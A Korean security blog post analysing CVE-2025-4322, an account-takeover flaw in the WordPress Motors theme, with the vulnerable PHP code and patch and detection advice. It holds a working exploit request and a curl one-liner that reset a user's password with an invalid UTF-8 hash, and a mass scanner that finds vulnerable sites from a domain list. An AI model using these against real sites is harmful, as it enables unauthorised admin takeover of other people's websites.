1. WordPress Motors 테마
- 자동차 관련 웹사이트에서 널리 사용되는 테마 [1]
2. 취약점
- Motors 테마가 비밀번호를 업데이트하기 전에 사용자의 신원을 적절히 검증하지 못해 발생하는 계정 탈취를 통한 권한 상승 취약점 (CVSS: 9.8)
영향받는 버전
- Motors 테마 5.6.67 이하 버전
- Login Register 위젯에는 password-recovery.php 테마의 탬플릿 파일과 아래 코드가 포함되어 있음 [3]
> 사용자 요청에서 user_id 및 hash_check 파라미터의 값이 모두 있을 경우 password-recovery.php 템플릿 호출
<div class="stm-login-register-form">
<?php if ( ! empty( $_GET['user_id'] ) && ! empty( $_GET['hash_check'] ) ) : // phpcs:ignore WordPress.Security.NonceVerification.Recommended ?>
<?php get_template_part( 'partials/user/private/password', 'recovery' ); ?>
<?php endif; ?>
- password-recovery.php 템플릿에는 비밀번호 업데이트를 처리하는 코드가 포함되어 있음
> 사용자로 부터 전달받은 hash_check 값($user_hash_check)과 서버 설정 값 $user_hash를 비교하여 일치하는 경우
> stm_new_password 값으로 비밀번호를 업데이트
<?php
$user_id_get = intval($_GET['user_id']);
$user_hash_check = esc_attr($_GET['hash_check']);
$message = '';
$error = false;
$user_exist = get_user_by('id', $user_id_get);
if(!$user_exist) {
$error = true;
}
$user_hash = get_the_author_meta('stm_lost_password_hash',$user_id_get);
if($user_hash !== $user_hash_check) {
$error = true;
}
if(!empty($_POST['stm_new_password']) and !$error) {
$new_password = stm_motors_sanitize_text_field($_POST['stm_new_password']);
wp_set_password($new_password, $user_id_get);
- 공격자는 조작된 hash_check 값을 전달함으로써 사용자 검증을 우회하고 비밀번호를 임의로 재설정할 수 있음
① 공격자는 조작된 hash_check 값 (잘못된 UTF-8문자 : %C0, %80 등) 전달
> Login Register 위젯에서의 검사를 통과하여 password-recovery.php 템플릿 접근
② 조작된 hash_check 값은 esc_attr()로 잘못 필터링 되어 제거됨
> 필터링 된 값은 $user_hash_check 저장
③ $user_hash_check 값과 $user_hash 값을 비교
> 두 값의 !== 연산 결과 false가 되어 if문 통과
④ stm_new_password 매개변수로 전달한 값으로 비밀번호 재설정
> 접근 권한을 얻은 후 관리자로 로그인 및 지속성을 위해 새로운 관리자 계정 생성
POST /index.php/login-register/?user_id=3&hash_check=%80 HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
stm_new_password=Testtest123%21%40%23
3. PoC
- 취약점 스캔 PoC [4]
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from bs4 import BeautifulSoup
from urllib.parse import urljoin, urlparse
from concurrent.futures import ThreadPoolExecutor
import threading
lock = threading.Lock()
with open("list.txt") as f:
domains = [line.strip().replace("http://", "").replace("https://", "") for line in f if line.strip()]
login_paths = [
"/login",
"/loginregister",
"/login-register",
"/my-account",
"/account",
"/signin",
"/sign-in",
"/register",
"/auth",
"/user/login",
"/user/signin",
"/forgot-password",
"/reset-password"
]
def check_login_form(full_url):
try:
res = requests.get(full_url, timeout=10, verify=False)
if res.status_code == 200 and "stm-login-form" in res.text:
return True
except:
pass
return False
def process_domain(domain):
checked = set()
base_url = f"https://{domain}"
try:
r = requests.get(base_url, timeout=10, verify=False)
if r.status_code != 200:
return
soup = BeautifulSoup(r.text, "html.parser")
if "stm-login-form" in r.text:
print(f"[✅] {domain} → found at homepage")
with lock:
with open("result.txt", "a") as f:
f.write(domain + "\n")
return
hrefs = set()
for a in soup.find_all("a", href=True):
href = a["href"]
if any(kw in href.lower() for kw in ["login", "register", "account", "signin", "forgot", "reset"]):
full_href = urljoin(base_url, href)
hrefs.add(full_href)
for path in login_paths:
hrefs.add(urljoin(base_url, path))
for link in hrefs:
normalized = urlparse(link)._replace(query="", fragment="").geturl()
if normalized in checked:
continue
checked.add(normalized)
if check_login_form(normalized):
print(f"[✅] {domain} → found at {normalized}")
with lock:
with open("result.txt", "a") as f:
f.write(domain + "\n")
break
except Exception as e:
print(f"[⚠️] {domain} → error: {e}")
print(f"[🚀] ready to check {len(domains)} domain...")
with ThreadPoolExecutor(max_workers=20) as executor:
executor.map(process_domain, domains)
print(f"[✔️] Done. all valid result at result.txt")
curl "https://local.ization/loginregister/?user_id=2&hash_check=%C0" --data "stm_new_password=randomizer" -XPOST -v -H 'User-Agent: Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Mobile Safari/537.36'
4. 대응방안
- 벤더사 제공 업데이트 적용 [5][6]
취약점 | 제품명 | 영향받는 버전 | 해결 버전 |
CVE-2025-4322 | Motors 테마 | 5.6.67 이하 | 5.6.68 |
- 침해지표 또는 탐지룰 적용 [7]
- 웹 사이트 관리자 로그를 분석하여 비정상적인 요청 또는 계정 생성 여부 확인
- 사용자 및 관리자 비밀번호 재설정, 2단계 인증 활성화
5. 참고
[1] https://themeforest.net/item/motors-automotive-cars-vehicle-boat-dealership-classifieds-wordpress-theme/13987211
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-4322
[3] https://www.wordfence.com/blog/2025/05/22000-wordpress-sites-affected-by-privilege-escalation-vulnerability-in-motors-wordpress-theme
[4] https://github.com/Yucaerin/CVE-2025-4322
[5] https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/motors/motors-5667-unauthenticated-privilege-escalation-via-password-updateaccount-takeover
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71776&menuNo=205020
[7] https://www.wordfence.com/blog/2025/06/attackers-actively-exploiting-critical-vulnerability-in-motors-theme
[8] https://www.dailysecu.com/news/articleView.html?idxno=167203
'취약점 > Elevation of Privilege' 카테고리의 다른 글
Linux 권한 상승 취약점 (CVE-2025-6018, CVE-2025-6019) (0) | 2025.06.22 |
---|---|
WordPress WPLMS, VibeBP 플러그인 권한 상승 취약점 (CVE-2024-56043,CVE-2024-56048,CVE-2024-56040) (2) | 2025.01.01 |
Kubernetes Image Builder 기본 자격 증명 비활성화 취약점 (CVE-2024-9486, CVE-2024-9594) (1) | 2024.10.18 |
Ivanti 권한 상승 취약점 (CVE-2024-21888, CVE-2024-21893) (1) | 2024.02.15 |
Cisco IOS XE Software Web UI 권한 상승 취약점 (CVE-2023-20198) (1) | 2023.10.17 |